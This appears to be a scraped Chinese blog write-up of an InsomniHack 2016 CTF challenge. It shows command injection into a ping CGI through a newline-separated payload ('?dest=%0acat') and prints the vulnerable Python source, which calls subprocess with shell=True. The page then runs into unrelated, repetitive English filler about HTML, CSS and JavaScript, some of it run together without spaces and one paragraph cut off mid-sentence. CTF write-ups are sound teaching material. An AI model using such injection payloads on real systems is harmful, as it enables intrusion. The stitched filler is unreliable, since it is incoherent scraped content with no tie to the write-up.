


InsomniHack 2016 CTF teaser – Bring the noise Crypto 200 WriteUp_html/css_WEB-ITnose
帮小伙伴解个题,想起博客很久没更新了,顺便写上来。
给了个网址,提示说按照正常思维去拿flag.......(瞬间吐槽2333333玩这个谁会自己按照正常思维啊...)
给出网页可以允许ping其他主机并显示结果。
这个阶段的话就相当于随便猜了,八九不离十是远程代码执行。然后开始常见注入测试,但是发现大部分都被过滤了。
还好换行符没被ban,unix中还能用作分隔符。
果然可以列出当前目录....然后就开始吐槽制作方的无脑.....(等下你就知道了)
然后发现这个页面同时支持GET/POST请求,写了个注入语句读取一下这个cgi的内容:
?dest=%0acat Python
#!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3 id="Smart-Cat-debugging-interface"> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badchar in blacklist:if badchar in dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s


HTMLisnotaprogramminglanguage;itisamarkuplanguage.1)HTMLstructuresandformatswebcontentusingtags.2)ItworkswithCSSforstylingandJavaScriptforinteractivity,enhancingwebdevelopment.

HTML is the cornerstone of building web page structure. 1. HTML defines the content structure and semantics, and uses, etc. tags. 2. Provide semantic markers, such as, etc., to improve SEO effect. 3. To realize user interaction through tags, pay attention to form verification. 4. Use advanced elements such as, combined with JavaScript to achieve dynamic effects. 5. Common errors include unclosed labels and unquoted attribute values, and verification tools are required. 6. Optimization strategies include reducing HTTP requests, compressing HTML, using semantic tags, etc.

HTML is a language used to build web pages, defining web page structure and content through tags and attributes. 1) HTML organizes document structure through tags, such as,. 2) The browser parses HTML to build the DOM and renders the web page. 3) New features of HTML5, such as, enhance multimedia functions. 4) Common errors include unclosed labels and unquoted attribute values. 5) Optimization suggestions include using semantic tags and reducing file size.

WebdevelopmentreliesonHTML,CSS,andJavaScript:1)HTMLstructurescontent,2)CSSstylesit,and3)JavaScriptaddsinteractivity,formingthebasisofmodernwebexperiences.

The role of HTML is to define the structure and content of a web page through tags and attributes. 1. HTML organizes content through tags such as , making it easy to read and understand. 2. Use semantic tags such as, etc. to enhance accessibility and SEO. 3. Optimizing HTML code can improve web page loading speed and user experience.

HTMLisaspecifictypeofcodefocusedonstructuringwebcontent,while"code"broadlyincludeslanguageslikeJavaScriptandPythonforfunctionality.1)HTMLdefineswebpagestructureusingtags.2)"Code"encompassesawiderrangeoflanguagesforlogicandinteract

HTML, CSS and JavaScript are the three pillars of web development. 1. HTML defines the web page structure and uses tags such as, etc. 2. CSS controls the web page style, using selectors and attributes such as color, font-size, etc. 3. JavaScript realizes dynamic effects and interaction, through event monitoring and DOM operations.

HTML defines the web structure, CSS is responsible for style and layout, and JavaScript gives dynamic interaction. The three perform their duties in web development and jointly build a colorful website.


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